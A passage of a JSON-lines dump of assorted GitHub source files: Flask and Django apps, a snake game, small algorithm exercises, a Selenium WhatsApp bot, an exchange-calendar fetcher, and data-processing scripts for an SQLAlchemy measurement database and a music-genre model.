logging\nimport ntpath\nimport shutil\nimport random\n\nfrom flask import render_template, request, redirect, url_for, session, send_file\nfrom werkzeug.utils import secure_filename\n\nfrom inn_app import app, utils\n\n\n@app.route('/')\ndef index():\n session.clear()\n return render_template('index.html')\n\n\n@app.route('/upload_file', methods=['POST'])\ndef upload_file():\n if request.method == 'POST':\n file = request.files['filename']\n filename = secure_filename(file.filename)\n if utils.allowed_file(filename, app.config['ALLOWED_EXTENSIONS']):\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n else:\n return render_template('index.html', error=\"Выбран неверный тип файла\")\n try:\n utils.get_pdf(os.path.join(\n app.config['UPLOAD_FOLDER'], filename), app.config['TEMPORARY_FOLDER'])\n return redirect(url_for('fill_doc'))\n except BaseException as e:\n logging.exception(e)\n return render_template('index.html', error=e)\n\n\n@app.route('/fill_doc', methods=['GET', 'POST'])\ndef fill_doc():\n DocClass = utils.getClassByFilPreifx(session['cl'])\n tmp_file_path = session['tmp_file']\n text_document = open(tmp_file_path, 'r')\n text = text_document.read()\n text_document.close()\n\n cl = DocClass()\n cl.get_data(text)\n cl.save_to_db()\n cl_name = cl.__class__.__name__\n if request.method == 'GET':\n data = cl.checkIfExist()\n if(data):\n return render_template(f'fill-doc-{cl_name}.html', page_title='Запись уже существует', data=data)\n else:\n return render_template(f'fill-doc-{cl_name}.html', data=['', '', '', '', ''])\n else:\n cl.update(data=request.form.to_dict())\n try:\n os.remove(session['tmp_file'])\n except:\n pass\n return render_template('ok.html')\n\n@app.route('/rko', methods=['GET'])\ndef rko():\n\tinn = request.args['inn']\n\tpodpisant = request.args['podpisant']\n\thash = ''\n\ttry:\n\t\thash = ntpath.basename(session['tmp_file'])\n\t\thash = os.path.splitext(hash)[0]\n\texcept BaseException as e:\n\t\thash = \"%032x\" % random.getrandbits(128)\n\ttry:\n\t\tutils.RKO(\n\t\t\tinn,\n\t\t\tpodpisant,\n\t\t\tapp.config['TEMPLATES_FOLDER'],\n\t\t\tapp.config['TREATIES_FOLDER'],\n\t\t\thash\n\t\t)\n\t\tshutil.make_archive(f'{app.config[\"TREATIES_FOLDER\"]}/{hash}', \"zip\", app.config['TREATIES_FOLDER'], hash)\n\t\tshutil.rmtree(f'{app.config[\"TREATIES_FOLDER\"]}/{hash}', ignore_errors=False)\n\t\tsession.clear()\n\t\treturn send_file(f'{app.config[\"TREATIES_FOLDER\"]}/{hash}.zip', as_attachment=True)\n\texcept BaseException as e:\n\t\tlogging.exception(e)\n\t\treturn render_template('index.html', error=e)\n","repo_name":"KarapetGaranyan/flask1","sub_path":"inn_app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"21749262346","text":"import re\n\n# Searches for and counts strings like this: '0 1 Z 0 0 1 1 0\n\n# Read entire contents of file into variable named stuff\nstuff = open('rjmcmc-dependent.txt', 'r').read()\n\n# Use a regular expression search to pull out all model strings and store in model_list variable\n# The re.M tells the re module that there may be newlines in stuff (M = multiline)\n# The [Z012] items each say that the searched-for expression has either a Z or a 0 or a 1 or a 2 at that position.\nmodel_list = re.findall(\"'[Z0-9] [Z0-9] [Z0-9] [Z0-9] [Z0-9] [Z0-9] [Z0-9] [Z0-9]\", stuff, re.M | re.S)\n\n# Create a dictionary entry to keep track of the total count for each distinct model string\nmodel = {}\nfor m in model_list:\n if m in model.keys():\n # this model string already has an entry, add 1 to count\n model[m] += 1\n else:\n # this model string is distinct, start count at 1\n model[m] = 1\n\n# Create a list of tuples (v,k), where v is the value (count) and k is the key (model string),\n# then sort from highest to lowest (count)\nmodel_tuples = [(v,k) for (k,v) in model.items()]\nmodel_tuples.sort()\nmodel_tuples.reverse()\n\n# Write out all counts and their associated model strings\ntotal = 0\nfor v,k in model_tuples:\n print('%12d %s' % (v, k))\n total += v\nprint('Total matches: %d' % total)\n","repo_name":"plewis/plewis.github.io","sub_path":"assets/scripts/btsummary.py","file_name":"btsummary.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"24100809312","text":"from django.http import JsonResponse\nimport datetime\n\n\ndef json_data_info(request):\n slack_name = request.GET.get('slack_name', '')\n track = request.GET.get('track', '')\n\n current_day = datetime.datetime.utcnow().strftime('%A')\n utc_time = datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')\n response_data = {\n \"slack_name\": slack_name,\n \"current_day\": current_day,\n \"utc_time\": utc_time,\n \"track\": track,\n \"github_file_url\": \"https://github.com/oniyidefaith/JsonInfo/blob/main/jsons/views.py\",\n \"github_repo_url\": \"https://github.com/oniyidefaith/JsonInfo\",\n \"status_code\": \"200\"\n }\n\n return JsonResponse(response_data)\n","repo_name":"oniyidefaith/JsonInfo","sub_path":"jsons/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"9820384723","text":"import pygame\nimport time\nimport random\n\nrr = False\ngr = False\nbr = False\n\n\ndef rainbowColor(color):\n global rr, gr, br\n red, green, blue = color\n\n if rr:\n if red <= 1:\n rr = False\n red = 2\n else:\n red -= 1\n else:\n if red >= 254:\n rr = True\n red = 253\n else:\n red += 1\n\n if gr:\n if green <= 1:\n gr = False\n green = 2\n else:\n green -= 1\n else:\n if green >= 254:\n gr = True\n green = 253\n else:\n green += 1\n\n if br:\n if blue <= 1:\n br = False\n blue = 2\n else:\n blue -= 1\n else:\n if blue >= 254:\n br = True\n blue = 253\n else:\n blue += 1\n\n return red, green, blue\n\n\n# Colors\nBACKGROUND = (10, 10, 10)\nSNAKE_COLOR = (0, 177, 255)\nAPPLE_COLOR = (random.randint(50, 255), random.randint(50, 255), random.randint(50, 255))\nWHITE_SMOKE = (200, 200, 200)\n\n# Pygame variables\nWIDTH = 800\nHEIGHT = 600\n\n# Game variables\nSNAKE_SIZE = 3\nGRID_SIZE = 20\nSNAKE = [[20, 13], [20, 14], [20, 15]]\nSLEEP_TIME = 0.1\nDIRECTION = [0, 1]\nAPPLE = [random.randint(1, 39), random.randint(1, 29)]\nSCORE = 0\n\n\ndef main():\n global SNAKE_SIZE, SNAKE_COLOR, APPLE, DIRECTION, SCORE, APPLE_COLOR\n\n pygame.init()\n screen = pygame.display.set_mode((WIDTH, HEIGHT))\n pygame.display.set_caption(\"Gala_Glow's Snake Game\")\n\n screen.fill(BACKGROUND)\n\n pygame.display.flip()\n pygame.display.update()\n\n while True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n return\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_UP:\n DIRECTION = [0, -1]\n if event.key == pygame.K_DOWN:\n DIRECTION = [0, 1]\n if event.key == pygame.K_RIGHT:\n DIRECTION = [1, 0]\n if event.key == pygame.K_LEFT:\n DIRECTION = [-1, 0]\n\n screen.fill(BACKGROUND)\n\n # SNAKE Eat APPLE\n if SNAKE[SNAKE_SIZE - 1][0] == APPLE[0] and SNAKE[SNAKE_SIZE - 1][1] == APPLE[1]:\n APPLE_COLOR = (random.randint(50, 255), random.randint(50, 255), random.randint(50, 255))\n generate_apple()\n SNAKE.insert(0, [SNAKE[0][0] + DIRECTION[0], SNAKE[0][1] + DIRECTION[1]])\n SNAKE_SIZE += 1\n SCORE += 1\n\n # SNAKE Direction\n if DIRECTION is not None:\n SNAKE.append([SNAKE[SNAKE_SIZE - 1][0] + DIRECTION[0], SNAKE[SNAKE_SIZE - 1][1] + DIRECTION[1]])\n SNAKE.pop(0)\n\n # SNAKE Out Of Map\n if SNAKE[SNAKE_SIZE - 1][0] <= -1 or SNAKE[SNAKE_SIZE - 1][1] <= -1 or SNAKE[SNAKE_SIZE - 1][0] >= 40 or \\\n SNAKE[SNAKE_SIZE - 1][1] >= 30:\n pygame.quit()\n return\n\n # SNAKE Collisions\n w_head = SNAKE[:-1]\n if SNAKE[SNAKE_SIZE - 1] in w_head:\n pygame.quit()\n return\n\n pygame.draw.rect(screen, APPLE_COLOR, (APPLE[0] * GRID_SIZE, APPLE[1] * GRID_SIZE, GRID_SIZE, GRID_SIZE))\n\n for i in range(SNAKE_SIZE):\n SNAKE_COLOR = rainbowColor(SNAKE_COLOR)\n pygame.draw.rect(screen, SNAKE_COLOR,\n (SNAKE[i][0] * GRID_SIZE, SNAKE[i][1] * GRID_SIZE, GRID_SIZE, GRID_SIZE))\n\n text = pygame.font.SysFont('Consolas', 75).render(str(SCORE), True, WHITE_SMOKE)\n text_rect = text.get_rect(center=(WIDTH / 2, 50))\n screen.blit(text, text_rect)\n\n pygame.display.update()\n\n time.sleep(SLEEP_TIME)\n\n\ndef generate_apple():\n global APPLE\n\n x = random.randint(1, 39)\n y = random.randint(1, 29)\n if [x, y] not in SNAKE:\n APPLE = [x, y]\n else:\n generate_apple()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"SorenDeveloppement/SnakeGame","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"8849811319","text":"# -*- coding: utf-8 -*-\n# Author: Mansur Gilmullin\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# Подготовка к собеседованию в Яндекс: задача \"C. Удаление дубликатов\"\n# ----------------------------------------------------------------------------------------------------------------------\n# Дан упорядоченный по неубыванию массив целых 32-разрядных чисел. Требуется удалить из него все повторения.\n# Желательно получить решение, которое не считывает входной файл целиком в память, т.е., использует лишь константный\n# объем памяти в процессе работы.\n# ----------------------------------------------------------------------------------------------------------------------\n# Формат ввода:\n# Первая строка входного файла содержит единственное число n, n ≤ 1000000.\n# На следующих n строк расположены числа — элементы массива, по одному на строку. Числа отсортированы по неубыванию.\n# ----------------------------------------------------------------------------------------------------------------------\n# Формат вывода:\n# Выходной файл должен содержать следующие в порядке возрастания уникальные элементы входного массива.\n# ----------------------------------------------------------------------------------------------------------------------\n# Пример 1:\n# Ввод\tВывод\n# 5 2\n# 2 4\n# 4 8\n# 8\n# 8\n# 8\n# ----------------------------------------------------------------------------------------------------------------------\n# Пример 2:\n# Ввод\tВывод\n# 5 2\n# 2 8\n# 2\n# 2\n# 8\n# 8\n# ----------------------------------------------------------------------------------------------------------------------\n\n\ndef Task3(inpFile=\"input.txt\"):\n result = [] # массив для списка уникальных элементов\n # получаем входные параметры из файла и читаем данные построчно:\n with open(inpFile, \"r\", encoding=\"UTF-8\") as fH:\n i = 0 # счётчик строк во входном файле\n n = 1 # предварительное количество элементов\n # Читаем файл построчно, сравниваем очередной элемент и содержимое списка result, если элемента там нет - добавляем его:\n while True and i <= n:\n line = fH.readline()\n if not line:\n break # если достигли конца файла - также выходим из цикла\n\n try:\n number = int(line) # очередная строка входного файла - число\n\n except Exception as e:\n number = line\n\n if i == 0:\n n = number # в первой строке всегда число n - количество элементов массива, n <= 1000000\n i += 1\n continue\n\n if result:\n if str(number) + \"\\n\" != result[-1]:\n result.append(str(number) + \"\\n\") # если элемента в списке нет - добавляем его сразу как строку\n\n else:\n result.append(str(number) + \"\\n\")\n\n i += 1\n\n with open(\"output.txt\", \"w\", encoding=\"UTF-8\") as fH:\n fH.writelines(result)\n\n return result\n\n\nif __name__ == \"__main__\":\n res = Task3(inpFile=\"input.txt\")\n # for item in res:\n # print(item.rstrip(\"\\n\"))\n","repo_name":"mgilmullin/YandexTest","sub_path":"s3.py","file_name":"s3.py","file_ext":"py","file_size_in_byte":4115,"program_lang":"python","lang":"ru","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"13537418774","text":"\n\n\ndef mergeAlternately( word1: str, word2: str) -> str:\n \"\"\"Returns the Merged String from the given two strings\n\n Args:\n word1 (str): string1 \n word2 (str): string2 \n\n Returns:\n str: merged string from word1 and word2 \n \"\"\"\n # help(max)\n len_word1 = len(word1)\n len_word2 = len(word2)\n iter_n = min(len_word1, len_word2)\n res_list = []\n for i in range(iter_n): \n res_list.append(word1[i])\n res_list.append(word2[i])\n # This will only append from the remaining letter if exist else there will be blank\n res_list.append(word1[iter_n:])\n res_list.append(word2[iter_n:])\n return \"\".join(res_list)\n\n\n\nword1 = \"ab\"\nword2 = \"pqrs\"\n\nprint(mergeAlternately(word1, word2))","repo_name":"sapk-pa1/Leetcode","sub_path":"Array_Strings/merge_string_alternately.py","file_name":"merge_string_alternately.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"34066950011","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport time\nnavegador = webdriver.Chrome()\nnavegador.get(\"https://web.whatsapp.com\")\ntime.sleep(20)\nbusca = navegador.find_element_by_css_selector('div._13NKt.copyable-text.selectable-text')\nbusca.send_keys('Nega', Keys.ENTER)\ntime.sleep(2)\nenviar = navegador.find_element_by_css_selector('div.p3_M1')\nenviar.send_keys('Te amo!', Keys. ENTER)\n","repo_name":"pradoroot/robos","sub_path":"Bot-envio-whatsweb.py","file_name":"Bot-envio-whatsweb.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"73979915739","text":"import requests\nimport json\nfrom .cookie import Cookie\nfrom . import time_helper\nfrom .redis_client import create_redis_client\n\n\nclass CalendarQueryResult:\n\n Closed = 0\n Opened = 1\n Unkonwn = 2\n FatalError = 3\n\n\nclass ExchangeCalendar(Cookie):\n\n URL = {\n 'cn': ['https://raw.githubusercontent.com/oniondata-site/calendar/main/data/cn.json',\n 'https://gitee.com/oniondata-site/calendar/raw/main/data/cn.json']\n }\n\n def __init__(self, market_type, *, use_redis_mirror=True, use_cn_mirror_site=False):\n super().__init__()\n self.value = self\n self.market_type = market_type\n self.use_redis_mirror = use_redis_mirror\n self.use_cn_mirror_site = use_cn_mirror_site\n self.date_to_record = {}\n\n def load(self):\n ''' 优先级,redis > git\n '''\n self.date_to_record.clear()\n while True:\n # redis\n client = None\n if self.use_redis_mirror:\n client = create_redis_client()\n if client is not None:\n json_text = client.hget('calendar', 'cn.json')\n break\n # http\n if not self.use_cn_mirror_site:\n url = self.URL[self.market_type][0]\n else:\n url = self.URL[self.market_type][1]\n json_text = fetch_url(url)\n break\n\n record_list = json.loads(json_text)\n for record in record_list:\n date = record['date']\n self.date_to_record[date] = record\n\n # 每日的23:00:15刷新\n hms_list = [(23, 0, 15)]\n next_load_time = time_helper.filter_next_time(hms_list)\n self.set_end_time(next_load_time)\n\n def query_date_status(self, date):\n if len(self.date_to_record) == 0:\n return CalendarQueryResult.FatalError\n\n record = self.date_to_record.get(date, None)\n if record is None:\n return CalendarQueryResult.Unkonwn\n\n if record['is_open'] == 1:\n return CalendarQueryResult.Opened\n else:\n return CalendarQueryResult.Closed\n\n\nHEAD = {'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Mobile Safari/537.36', \n 'Referer': 'https://gitee.com/oniondata-site/calendar/blob/main/data/cn.json'}\n\n\ndef fetch_url(url):\n for retry_time in range(5):\n try:\n response = requests.get(url, headers=HEAD, timeout=10)\n return response.text\n except Exception as ex:\n print(ex)\n pass\n\n print(f'fetch url[{url}] error! please check network status.')\n return None\n\n\ncalendar_dict = {}\n\n\ndef query_date_status(market_type, date=None, *, use_cn_mirror_site=False):\n '''\n 查询某日的日历\n\n Parameters:\n market_type - 市场类型,字符串。可选,'cn', 'hk', 'us'\n date - 日期,字符串。比如,'20200101'\n use_redis_mirror - 是否使用 redis 镜像源。预防 github 和 gitee 同时无法访问。\n - 默认是,需要自行(搭建 redis => 同步数据 => 修改 config.json)才会生效。\n use_cn_mirror_site - 是否使用位于中国的镜像网站加速。强烈推荐国内网络勾选此项\n\n Returns:\n 状态,CalendarQueryResult,枚举。注意,可能包含代表异常的枚举。\n '''\n # 参数\n assert(market_type in ('cn', ))\n if date is None:\n date = time_helper.get_today_date_text()\n\n calendar = calendar_dict.get(market_type, None)\n if calendar is None:\n calendar = ExchangeCalendar(market_type, use_cn_mirror_site=use_cn_mirror_site)\n calendar_dict[market_type] = calendar\n # 刷新缓存\n calendar.get_value()\n\n return calendar.query_date_status(date)\n\n\ndef is_open(market_type, date=None, *, use_cn_mirror_site=False):\n '''\n 对 query_date_status 方法的封装,自动处理异常情况。\n\n Parameters:\n 同 query_date_status 方法\n\n Returns:\n 是否为交易日,布尔类型。\n '''\n query_result = query_date_status(market_type, date, use_cn_mirror_site=use_cn_mirror_site)\n if query_result > CalendarQueryResult.Opened:\n raise Exception('calendar query error')\n\n return query_result == CalendarQueryResult.Opened\n","repo_name":"oniondata-site/calendar","sub_path":"python_api/exchange_calendar.py","file_name":"exchange_calendar.py","file_ext":"py","file_size_in_byte":4367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"43056655630","text":"\n# 引数、スタートのノード、グラフ(距離、向かう場所、エッジ番号)\n# 返る、距離リスト、最短の道リスト\ndef dijkstra(s: int, g: list):\n \n from heapq import heappush, heappop\n dl = [0 if node == s else -1 for node in range(len(g))]\n pl = [() for a in range(len(g))]\n cl = [False for a in range(len(g))]\n q = []\n for d, v, ed in g[s]:\n heappush(q, (d, v))\n dl[v] = d\n pl[v] = (s, ed)\n \n while q:\n d, v = heappop(q)\n if cl[v]: continue\n cl[v] = True\n for ud, uv, ed in g[v]:\n alt = ud + d\n if -1 == dl[uv] or not cl[uv] and alt < dl[uv]:\n dl[uv] = alt\n heappush(q, (alt, uv))\n pl[uv] = (v, ed)\n return dl, pl\n\ndef main():\n\n g = [\n [(5, 1, 1), (4, 2, 2), (1, 3, 3)],\n [(5, 0, 1), (2, 4, 4)],\n [(4, 0, 2), (2, 3, 5), (5, 4, 6), (6, 5, 7)],\n [(1, 0, 3), (2, 2, 5)],\n [(2, 1, 6), (5, 2, 6), (1, 6, 8), (3, 7, 9)],\n [(6, 2, 7), (2, 7, 10)],\n [(1, 4, 8), (4, 7, 11)],\n [(3, 4, 9), (2, 5, 10), (4, 6, 11)]\n ]\n\n dl, pl = dijkstra(0, g)\n print(dl)\n print(pl)\n pass\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"YuichiSemura/atc-python-training","sub_path":"library/ダイクストラ法.py","file_name":"ダイクストラ法.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"26265683700","text":"\"\"\"\nN面サイコロをM回振ったときの結果を表示してください\nN, M は正の整数とします\nN, M はユーザーからの入力を利用すること\n\"\"\"\nimport random\n\nN = int(input(\"サイコロの面の数は?:\"))\nM = int(input(\"何回振りますか?: \"))\n\nnumbers_list = list()\n\nfor r in range(0, M):\n\n dice = random.randint(1, N)\n numbers_list.append(dice)\n\nprint(numbers_list)\n","repo_name":"kantanakagawa/practice","sub_path":"homework_B_6.py","file_name":"homework_B_6.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"73238376220","text":"from typing import Tuple\nimport pandas as pd\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import train_test_split\n\n\nclass PandaUtils:\n def __init__(self, file_path: str):\n self.dataset: pd.DataFrame = pd.read_csv(file_path)\n self.columns: list = []\n self.__getColumns()\n\n def __getColumns(self):\n self.columns = self.dataset.iloc[:, :-1].columns\n\n def checkMissingData(self):\n print(\"Check for missing data\")\n print(self.dataset.isna().sum())\n\n def transformNonNumericData(self):\n numerics = ['int16', 'int32', 'int64', 'float16', 'float32', 'float64']\n\n non_numeric_dataset = self.dataset.select_dtypes(exclude=numerics)\n columns = non_numeric_dataset.columns\n\n le = preprocessing.LabelEncoder()\n\n for i in columns:\n self.dataset[i] = le.fit_transform(self.dataset[i])\n\n def splitDataset(self) -> Tuple:\n x = self.dataset.iloc[:, :-1].values\n y = self.dataset.iloc[:, -1].values\n\n x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.25, random_state=25)\n\n return x, y, x_train, x_test, y_train, y_test\n","repo_name":"soadesina71/cmsc-project","sub_path":"PandaUtils.py","file_name":"PandaUtils.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"3272085560","text":"\"\"\"This can recreate the jumpmap.json should the universe ever change.\"\"\"\n\n\nimport time\nimport json\n\nimport utility\n\nu = utility.Utility()\n\nall_systems = u.get_all_systems()\n\nnum_systems = len(all_systems)\ncomplete = 0\nsystems = {}\nprint(\"Fount %s systems\" % num_systems)\nfor id in all_systems:\n system = u.get_system_details(id) \n\n systems[id] = system\n complete += 1\n print(\"{}/{} systems complete\".format(complete, num_systems))\n\nwith open(\"universe.json\", \"w\") as openjumpmap:\n openjumpmap.write(json.dumps(systems, indent=4, sort_keys=True))\n\nprint(\"updated universemap.json\")\n\n\n","repo_name":"kirkhus/jumpplanner","sub_path":"generate_universe.py","file_name":"generate_universe.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"18889133372","text":"\n# coding: utf-8\n\n# In[1]:\nimport pandas as pd\nimport ipdb\n# In[2]:\n# local\n#%load_ext autoreload\n# get_ipython().magic('aimport data_proc.ers')\nfrom data_proc.ers import GDM, get_gdm_h5path\n\n\n# ##### gdm instance creation takes time, because database schema is mapped to classes\n# ###### TODO: allow input of stored schema\n\n# In[3]:\n\ngdm = GDM()\nipdb.set_trace()\n\n# In[4]:\n\nqueries = gdm.get_standard_queries()\nq_HDF = queries['HDF']\nq_SQL = queries['SQL']\n\n\n# In[5]:\n\nclasses = gdm.classes\nsession = gdm.session\n\nruns = classes.Run\nmeasurements = classes.Measurement\nshifts = classes.Shift\ncustomers = classes.Customer\nstored_channels = classes.StoredChannel\nchannels = classes.Channel\nsystems = classes.System\nchannel_types = classes.ChannelType\n\n# data tables\nsql_furis_object = gdm.classes.Furis_Object\nsql_furis_suspect = gdm.classes.Furis_Suspect\n\n\n# In[6]:\n\n# basename = '1705'\nbasename = '1802'\nexpr_meas = measurements.BaseName.contains(basename)\nsystem = 'Furis'\nexpr_syst = systems.Name == system\n\nq_hdf_date_sys = q_HDF.filter(expr_meas).filter(expr_syst)\nq_sql_date_sys = q_SQL.filter(expr_meas).filter(expr_syst)\n\nrun_id = runs.ID\nipdb.set_trace()\nfor name, q in [('HDF', q_hdf_date_sys),\n ('SQL', q_sql_date_sys)]:\n df = pd.DataFrame(list(q.values(run_id, measurements.BaseName, systems.Name, channels.Name)),\n columns=['run_ID', 'meas_Basename', 'syst_Name', 'chan_Name'])\n print(f'# {name} - Systems #\\n {df.syst_Name.unique()}\\n')\n print(f'# {name} - Channels #\\n {df.chan_Name.unique()}\\n')\n\n\n# In[7]:\n\nhdf_channel = 'Echo data'\nsql_channel = 'Object'\n\nq_hdf_runID, _ = gdm.filter_runID(q_hdf_date_sys, system, hdf_channel)\nq_sql_runID, _ = gdm.filter_runID(q_sql_date_sys, system, sql_channel)\n\n#q_runID = q_hdf_runID\nq_runID = q_sql_runID # is this always created together with hdf_channel?\n\nruns_sel = pd.Series(\n {q.Measurement.BaseName: q.Run.ID for q in q_runID.all()}, name='run_id').to_frame()\nruns_sel.to_csv(f'_{basename}-runs-id.csv', sep=';')\nruns_sel\n\n\n# ###### have a look at the full (?) relationships for one run example\n\n# In[8]:\n\nrun_id = int(runs_sel.values[0])\n\npd.read_sql(q_sql_runID.filter(runs.ID == run_id).statement, session.bind)\n\n\n# In[9]:\n\nprint(q_sql_runID.filter(runs.ID == run_id).statement)\n\n\n# ###### store all Furis objects of given basename pattern\n\n# In[10]:\n\nq_f_o = session.query(sql_furis_object)\nqq_f_o = q_f_o.join(runs, sql_furis_object.RunID == runs.ID).filter(\n runs.ID.in_(runs_sel.values.tolist()))\nobjects = pd.read_sql(qq_f_o.statement, session.bind)\n\nif True:\n objects.to_hdf(f'_{basename}-furis-object.h5', 'objects', format='t')\n\nprint(objects.shape)\nobjects.head()\n\n\n# ###### local cache of Furis echo data\n\n# In[11]:\nipdb.set_trace()\nimport os\nimport shutil\nfrom IPython.display import display_pretty\n\ngdm_data_dir = r'\\\\NLAMFSRFL01.railinfra.local\\GDM_RO$\\Live\\Data'\ncache_dir = os.path.join(r'c:\\DATA\\GDM', system)\nos.makedirs(cache_dir, exist_ok=True)\n\nfor run, row in runs_sel.iterrows():\n gdm_id = row.run_id\n fn = get_gdm_h5path(gdm_id, system)\n fnpath = os.path.join(gdm_data_dir, fn)\n fn_new = os.path.basename(fn)\n fnpath_new = os.path.join(cache_dir, fn_new)\n try:\n if os.path.isfile(fnpath_new):\n # TODO: check also file size\n raise ValueError\n shutil.copy(fnpath, cache_dir)\n display_pretty('{} copied.'.format(fnpath))\n except ValueError:\n display_pretty('File {} is already in cache directory.'.format(fn_new))\n except OSError:\n display_pretty('{} NOT copied.'.format(fnpath))\n","repo_name":"slgao/caesar","sub_path":"src/get_ut_data_sqlalchemy.py","file_name":"get_ut_data_sqlalchemy.py","file_ext":"py","file_size_in_byte":3602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"40490309432","text":"import glob\nimport shutil\nimport xml.etree.ElementTree as ET\nimport cv2\nimport numpy as np\n\n\nxml_files = glob.glob(r'C:\\Users\\minuk\\Documents\\dev\\objects\\datasets\\origin\\xml_modified/*.xml')\njpg_files = glob.glob(r'C:\\Users\\minuk\\Documents\\dev\\objects\\datasets\\origin\\image/*.jpg')\njpeg_files = glob.glob(r'C:\\Users\\minuk\\Documents\\dev\\objects\\datasets\\origin\\image/*.jpeg')\n\n\ndef indent(elem, level = 0):\n i = \"\\n\" + level * \" \"\n if len(elem):\n if not elem.text or not elem.text.strip():\n elem.text = i + \" \"\n if not elem.tail or not elem.tail.strip():\n elem.tail = i\n for elem in elem:\n indent(elem, level + 1)\n if not elem.tail or not elem.tail.strip():\n elem.tail = i\n else:\n if level and (not elem.tail or not elem.tail.strip()):\n elem.tail = i\n\n\ndef display_progress():\n global index, total\n # os.system('cls')\n print(index, ' / ', total)\n index += 1\n\n\ntotal = len(jpg_files) + len(jpeg_files)\nindex = 1\n\nfor jpeg in jpeg_files:\n name = jpeg.split('\\\\')[-1]\n zeros = np.zeros((720, 1280, 3), dtype=np.uint8)\n img = cv2.imread(jpeg)\n re_img = cv2.resize(img, (720, 720))\n zeros[0:, 280:1000] = re_img\n\n cv2.imwrite('img_wide/'+name, zeros)\n display_progress()\n\nfor jpg in jpg_files:\n name = jpg.split('\\\\')[-1]\n zeros = np.zeros((720, 1280, 3), dtype=np.uint8)\n img = cv2.imread(jpg)\n re_img = cv2.resize(img, (720, 720))\n zeros[0:, 280:1000] = re_img\n\n cv2.imwrite('img_wide/'+name, zeros)\n display_progress()\n\n\nfor xml in xml_files:\n name = xml.split('\\\\')[-1]\n doc = ET.parse(xml)\n root = doc.getroot()\n width = int(root.find(\"size\").findtext(\"width\"))\n height = int(root.find(\"size\").findtext(\"height\"))\n root.find(\"size\").find(\"width\").text = \"1280\"\n root.find(\"size\").find(\"height\").text = \"720\"\n objects = []\n for obj in root.iter(\"object\"):\n\n # 기존 좌표 구하기\n xmin = int(obj.find(\"bndbox\").findtext(\"xmin\"))\n ymin = int(obj.find(\"bndbox\").findtext(\"ymin\"))\n xmax = int(obj.find(\"bndbox\").findtext(\"xmax\"))\n ymax = int(obj.find(\"bndbox\").findtext(\"ymax\"))\n\n xmin_tag = obj.find(\"bndbox\").find(\"xmin\")\n ymin_tag = obj.find(\"bndbox\").find(\"ymin\")\n xmax_tag = obj.find(\"bndbox\").find(\"xmax\")\n ymax_tag = obj.find(\"bndbox\").find(\"ymax\")\n\n xmin_tag.text = str(int((xmin * 720 / width) + 280))\n ymin_tag.text = str(int(ymin * 720 / height))\n xmax_tag.text = str(int((xmax * 720 / width) + 280))\n ymax_tag.text = str(int(ymax * 720 / height))\n\n indent(root)\n # ET.dump(root)\n doc.write(\"xml_wide/\" + name, encoding=\"utf-8\", xml_declaration=False)\n","repo_name":"vomin0107/dataset-handling","sub_path":"img_square2rect.py","file_name":"img_square2rect.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"74280505498","text":"from flask import Flask, render_template, request\nimport numpy as np\nimport librosa\nimport pandas as pd\nimport os\nimport pickle as pk\nfrom tensorflow.keras.models import load_model\nimport math\nfrom statistics import mode\n\napp = Flask(__name__)\napp.config['UPLOADS'] = 'uploads'\n\n\n# --------------------------------------------------\n# Loading The Model, Label Encoder & Recommendations\n# --------------------------------------------------\ncodePath = os.path.dirname(os.path.abspath('app.py'))\nle = os.path.join(codePath, 'Models/le.pk')\ncnn = os.path.join(codePath, 'Models/best_model.h5')\nrecom = os.path.join(codePath, 'Models/Final Recs.csv')\n\nle = pk.load(open(le, 'rb'))\nmodel = load_model(cnn)\nrecs = pd.read_csv(recom)\n\n# -------------------------------------\n# Render Main Home Template Index.html\n# -------------------------------------\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n\n# --------------------------------------\n# Parameters to Preprocess Data\n# --------------------------------------\nSAMPLE_RATE = 22050\nTRACK_DURATION = 30\nSAMPLES_PER_TRACK = SAMPLE_RATE * TRACK_DURATION\nnum_segments = 